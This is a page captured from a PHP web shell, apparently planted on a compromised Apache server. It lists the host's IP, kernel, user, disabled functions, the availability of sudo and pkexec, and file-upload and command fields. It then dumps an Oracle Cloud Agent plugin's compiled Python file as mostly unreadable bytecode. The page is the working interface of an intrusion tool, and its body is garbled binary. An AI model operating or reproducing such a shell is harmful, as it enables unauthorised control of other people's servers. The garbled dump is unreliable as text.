403Webshell
Server IP : 74.91.139.10  /  Your IP : 10.45.147.122
Web Server : Apache/2.4.67 (Unix)
System : Linux prod-iad-shwpweb1001e 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : FAsyXTyKGY ( 3004)
PHP Version : 8.2.30
Disable Function : passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/agent/shared/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/agent/shared/osmsx_ctl.pyc
a

���fG�@sjddlZddlZddlZddlZddlmZe��d�durJddlm	Z	nddl	Z	da
dZdZej
�ed	�ZdaGd
d�d�Zdd
�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Z d*d+�Z!eeed,�Z"eed-�Z#eeed.�Z$eed-�Z%e&d/k�rfe�Z'd0a
e"e'j(de'j)ee'j*��\Z+Z,e-e,�dS)1�N)�ArgumentParser�__spec__�)�	im_commonFz(/var/lib/oracle-cloud-agent/plugins/osmsz.osms_readyz.osmsv2_pid_filec@s&eZdZdZdZdZdZddd�ZdS)�OsmsxParamsN�cCs||_||_||_||_dS�N)�osms_pid�oca_version�instance_metadata�logger)�selfr	r
rr�r�4/sparta/input/plugins/osms/agent/shared/osmsx_ctl.py�__init__ szOsmsxParams.__init__)rNN)�__name__�
__module__�__qualname__r	r
rrrrrrrrs
rcCs�z�g}|dkr�d}td�tD]~}z*t||�\}}|dkrJd}|�|�Wqty�}z6tdt|��t|�d}|�t|��WYd}~qd}~00qd�|�|fWSt||�WSWn:t�y�}z t|�t|�dfWYd}~Sd}~00dS)z�
    Enable given plugin
    :param plugin: target plugin name, can be all, alx, osmsv2, or im
    :param osmsx_params: instance of OsmsxParams class
    :return: Tuple[str, int] error string and int 1 if fails, 0 if success
    �allrz$enabling all plugins managed by OSMS�zFailed to enable N�. )�print_in_cli�enable_plugins_mapping�append�	Exception�str�join��plugin�osmsx_params�
error_msgs�exit_val�
single_plugin�single_error_message�single_exit_code�errr�enable's*&r&c
Cs.d}t�sd}t|�|dfS|jdkr<d}t|�|dfStd�tj�t��rtj�tt�}zZt	t�	|tj
tjBd�d	��*}|�d�|�
t|j��Wd
�n1s�0YWnJt�y}z0t|�tdt|��d}|dfWYd
}~Sd
}~00td
�|dfSd}t|�|dfSd
S)z�
    Enable alx by creating the flag file
    :param osmsx_params: instance of OsmsxParams class
    :return: Tuple[str, int] error string and int 1 if fails, 0 if success
    r�(alx can only operate on autonomous linuxr����Bcannot find OSMS_PID, please provide correct OSMS_PID with -p flagrzenabling alx...��wNz(Get IOError when creating flag file at: zalx failed to create flag filezalx is enabledz%alx flag file directory does not exit)�is_alxrr	�os�path�isdir�osms_lib_dirr�osms_ready_flag_file�open�O_WRONLY�O_CREAT�truncate�writer�IOError)r�	error_msg�file�f�errorrrr�
enable_alxFs4

2r<cCsht�sd}t|�|dfStd��z�tj��}d|vrF|d|d<n|�dd�|j�d|�tj	dd	gtj
tj
|d
�}z>ttd�� }|�
t|j��Wd�n1s�0YWn`t�y}zFz|��Wnty�Yn0d|}t|�|d
fWYd}~WSd}~00Wn>t�yZ}z$d|}t|�|d
fWYd}~Sd}~00td�dS)z�
    Enable osmsv2
    :param osmsx_params: instance of OsmsxParams class
    :return: Tuple[str, int] error string and int 1 if fails, 0 if success
    �2osmsv2 can only operate on Oracle Linux 8 or aboverzenabling osmsv2...�LD_LIBRARY_PATH_ORIG�LD_LIBRARY_PATHNzosmsv2 env: %sz5/usr/libexec/oracle-cloud-agent/plugins/osmsv2/osmsv2z
-plugin=false)�stdout�stderr�envr+z#failed to write osmsv2 pid file: %srzfailed to enable osmsv2: %szosmsv2 is enabled�rr)�is_ol8_or_aboverr-�environ�copy�popr�debug�
subprocess�Popen�DEVNULLr2�osmsv2_pid_filer6r�pidr�kill)rr8rB�procr:r;rrr�
enable_osmsv2ksD
�2$rPcCs�z�g}|dkr�d}tD]~}z*t||�\}}|dkrBd}|�|�Wqty�}z6tdt|��t|�d}|�t|��WYd}~qd}~00qd�|�|fWSt||�WSWn8ty�}z t|�t|�dfWYd}~Sd}~00dS)a
    Check given plugin, called after every success OSMS check in
    :param plugin: target plugin name, can be all, alx, osmsv2, or im
    :param osmsx_params: instance of OsmsxParams class
    :return: Tuple[str, int] error string and int 1 if fails, 0 if success
    rrrzFailed to check Nr)�check_plugins_mappingrrrrrrrrr�check�s(&rRc
Csdd}t�sd}t|�|dfS|jdkr<d}t|�|dfStd�tj�tt�}tj�|��rXz�t	t�	|tj
tjBd�d	��x}|���
�}|t|j�kr�|�d�|�d�|�t|j��td
|�d|j���ntd�|dfWd
�WS1�s�0YWnJt�yT}z0t|�tdt|��d}|dfWYd
}~Sd
}~00nt|�Sd
S)z�
    Check alx flag file exists and contains correct pid. If not, create the file/change the pid
    :param osmsx_params: instance of OsmsxParams class
    :return: Tuple[str, int] error string and int 1 if fails, 0 if success
    rr'rr(r)rzchecking alx flag file...r*zw+zUpdating flag file PPID from z to z"no change needed for alx flag fileNz,Get IOError when checking alx flag file at: zalx failed to check flag file)r,rr	r-r.rr0r1�existsr2�O_RDWRr4�readline�stripr�seekr5r6r7r<)rr8r9r:�old_ppidr;rrr�	check_alx�s8


. rYc	
Cs*t�sd}t|�|dfStd�tj�t�s6t|�Sz�td�\}}}|dkrXt|�WSt|�	��}t
t�� }t|���	��}Wd�n1s�0Y||kr�t
td��}|�t
|��Wd�n1s�0YWn>t�y}z$d|}t|�|dfWYd}~Sd}~00td	�d
S)z�
    Check osmsv2 process and start it if needed.
    :param osmsx_params: instance of OsmsxParams class
    :return: Tuple[str, int] error string and int 1 if fails, 0 if success
    r=rzchecking osmsv2...�?pgrep -nf /usr/libexec/oracle-cloud-agent/plugins/osmsv2/osmsv2Nr+zfailed to check osmsv2: %srzcheck osmsv2 finishedrC)rDrr-r.rSrLrP�run_cmd�intrVr2�readr6rr)	rr8�out�err�return_code�current_pidr:�	saved_pidr;rrr�check_osmsv2�s.

.0rccCs�datj�d�s$d}t|�|dfStdur@t�|j|j	|j
�at��r\d}t|�|dfSt��sxd}t|�|dfSt�
�}t|�t��s�dnd	}t�|�\}}t|�||fS)
a;
    Check if IM plugin is already deployed, if not deploy it

    First we call activate endpoint that will return 404, or 202 and fill workRequestId
    If activate call succeeded (202 and workRequestId returned), the next call to check_im will be checking the status
    of the workRequest until it's completed. If work request fails, new activate call be we done at next backoff
    interval followed by workRequest check. Once workrequest completed successfully,
    osms_im_ready_flag_file gets created and check_im becomes no operation

    Exponential backoff details
    - after 10 backed off calls (now, 2/4/8/16/32/64/128/256/512/1024mins later), we try once 24hrs (every 1440mins)
    :param osmsx_params: instance of OsmsxParams class
    :return: Tuple[str, int] error string and int 1 if fails, 0 if success
    T�linuxzim can only operate on linuxrNzim already activatedz)im skipping request due to required delay�activate�workrequest)�cli_mode�sys�platform�
startswithr�osms_imr�OsmsImr
rr�
has_flag_file�is_ready_to_run�*reset_work_request_if_max_attempts_reached�get_work_request_id�call_action)r�cli_msg�action�statusrrr�check_ims*rucCs�z�g}|dkr�d}td�tD]~}z*t||�\}}|dkrJd}|�|�Wqty�}z6tdt|��t|�d}|�t|��WYd}~qd}~00qd�|�|fWSt||�WSWn:t�y�}z t|�t|�dfWYd}~Sd}~00dS)z�
    Disable the target plugin
    :param plugin: target plugin name, can be all, alx, osmsv2, or im
    :param osmsx_params: instance of OsmsxParams class
    :return: Tuple[str, int] error string and int 1 if fails, 0 if success
    rrz%disabling all plugins managed by OSMSrzFailed to disable Nr)r�disable_plugins_mappingrrrrrrrr�disable9s*&rwc
Cs�d}t�sd}t|�|dfStd�tj�tt�}tj�|�r�zt�|�td�|dfWSt	y�}z,t|�d|}t|�|dfWYd}~Sd}~00nd	}t|�|dfSdS)
z�
    Disable alx by removing flag file
    :param osmsx_params: instance of OsmsxParams class
    :return: Tuple[str, int] error string and int 1 if fails, 0 if success
    rr'rzdisabling alx...zalx is disabledzfailed to remove alx flag filerNzalx flag file does not exist)
r,rr-r.rr0r1rS�remove�OSError)rr8r9r%rrr�disable_alxZs(

 rzc
Cst�sd}t|�|dfStd�tj�t�sBd}t|�|dfSz�tt�� }t|���	��}Wd�n1sr0Yt�
|tj�t�
t�td�\}}}|dkr�t|�	��}t�
|tj�Wn>t�y}z$d|}t|�|dfWYd}~Sd}~00td	�d
S)z�
    Disable osmsv2
    :param osmsx_params: instance of OsmsxParams class
    :return: Tuple[str, int] error string and int 1 if fails, 0 if success
    r=rzdisabling osmsv2...zosmsv2 pid file does not existNrZzfailed to disable osmsv2: %srzosmsv2 is disabledrC)rDrr-r.rSrLr2r\r]rVrN�signal�SIGKILL�unlinkr[r)rr8r:rMr^r_r`r;rrr�disable_osmsv2ys0
.
r~cCsZtdd�}|jdddgd�dd�|jdd	dgd
�ddd
�|jddtt�dd�|��S)z;
    Parse CLI arguments
    :return: parsed arguments
    zAScript called by OSMS agent to control plugins depending on OSMS.)�descriptionrsr�r&rRrwzenable/check/disable)�nargs�metavar�choices�helpr�?)�alx�osmsv2�imrz<target plugin name, can be alx/osmsv2/im/all, default to allr)r�r�r�r��defaultz-p�OSMS_PIDz$OSMS_PID, should be OSMS Agent's PID)r��typer�r�)r�add_argumentr\�get_osms_pid�
parse_args)�parserrrr�
init_argparse�s
���r�cCsTz:tj�d�r6d}t|�\}}}|dkr6t|���WSWdStyNYdS0dS)zX
    pgrep -nf /usr/libexec/oracle-cloud-agent/plugins/osms/osms-agent
    :return:
    rdzApgrep -nf /usr/libexec/oracle-cloud-agent/plugins/osms/osms-agentrr(N)rhrirjr[r\rVr)�commandr^r_r`rrrr��sr�cCsXtj��}d|vr |d|d<n|�dd�tj|tjd|d�}|��\}}|||jfS)Nr>r?T)r@�shellrB)	r-rErFrGrIrJ�PIPE�communicate�
returncode)r�rBrOr^r_rrrr[�s
�r[cCsHz.tj�d�sWdSd}t|�\}}}|dkWStyBYdS0dS)zC
    Check whether the system is autonomous linux
    :return:
    rdFzrpm -q alx-utilsrN)rhrirjr[r)�cmdr^r_r`rrrr,�s
r,cCsFz,td�\}}}|dkrWdS|�d�dkWSty@YdS0dS)Nz,rpm -q --qf '%{version}' oraclelinux-releaserFzutf-8�8)r[�decoder)r^r_r`rrrrD�srDcCstr|rt|�dSr)rg�print)�stringrrrr�srr�)r�r�)r�r�r��__main__T).r-r{rIrh�argparser�globals�get�sharedrrgr0r1r.rrLrkrr&r<rPrRrYrcrurwrzr~r�r�r[r,rDr�action_choicesrrQrvr�argsrsr�p�msg�	exit_code�exitrrrr�<module>s`
%, -6! 
����
 

Youez - 2016 - github.com/yon3zu
LinuXploit